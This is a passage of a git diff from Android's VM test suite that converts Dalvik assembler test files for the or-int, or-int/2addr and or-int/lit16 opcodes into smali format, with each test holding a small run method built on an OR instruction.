index 0000000..ee4d9b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_5.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.d
deleted file mode 100644
index 5543c18..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_6.java
-.class public dot.junit.opcodes.or_int.d.T_or_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       or-int v0, v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali
new file mode 100644
index 0000000..b0c5c29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int/d/T_or_int_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_6.java"
+.class  public Ldot/junit/opcodes/or_int/d/T_or_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       or-int v0, v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.d
deleted file mode 100644
index c1d6357..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_1.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali
new file mode 100644
index 0000000..da83e08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.d
deleted file mode 100644
index 0fe271f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_2.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int/2addr v6, v8
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali
new file mode 100644
index 0000000..ce26068
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v6, v8
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.d
deleted file mode 100644
index f7b8de4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_3.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       or-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali
new file mode 100644
index 0000000..21d167f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.d
deleted file mode 100644
index c29c45a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_4.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       or-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali
new file mode 100644
index 0000000..00df8bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.d
deleted file mode 100644
index 55c9544..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_5.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       or-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali
new file mode 100644
index 0000000..926e091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       or-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.d
deleted file mode 100644
index 2eb863f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_2addr_6.java
-.class public dot.junit.opcodes.or_int_2addr.d.T_or_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       or-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali
new file mode 100644
index 0000000..1cb5914
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/or_int_2addr/d/T_or_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       or-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.d
deleted file mode 100644
index 2750eb2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_1.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali
new file mode 100644
index 0000000..fb4fdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.d
deleted file mode 100644
index bbddaa9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_2.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 0x7ff7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali
new file mode 100644
index 0000000..e70a317
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, 0x7ff7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.d
deleted file mode 100644
index ee50f62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_3.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali
new file mode 100644
index 0000000..33e07f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit16 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.d
deleted file mode 100644
index 2bc0910..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_4.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali
new file mode 100644
index 0000000..6ec2cae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       or-int/lit16 v0, v7, 15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.d
deleted file mode 100644
index a227848..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit16_5.java
-.class public dot.junit.opcodes.or_int_lit16.d.T_or_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit16 v0, v7, 32767
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali
new file mode 100644
index 0000000..989e68e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit16/d/T_or_int_lit16_5.smali
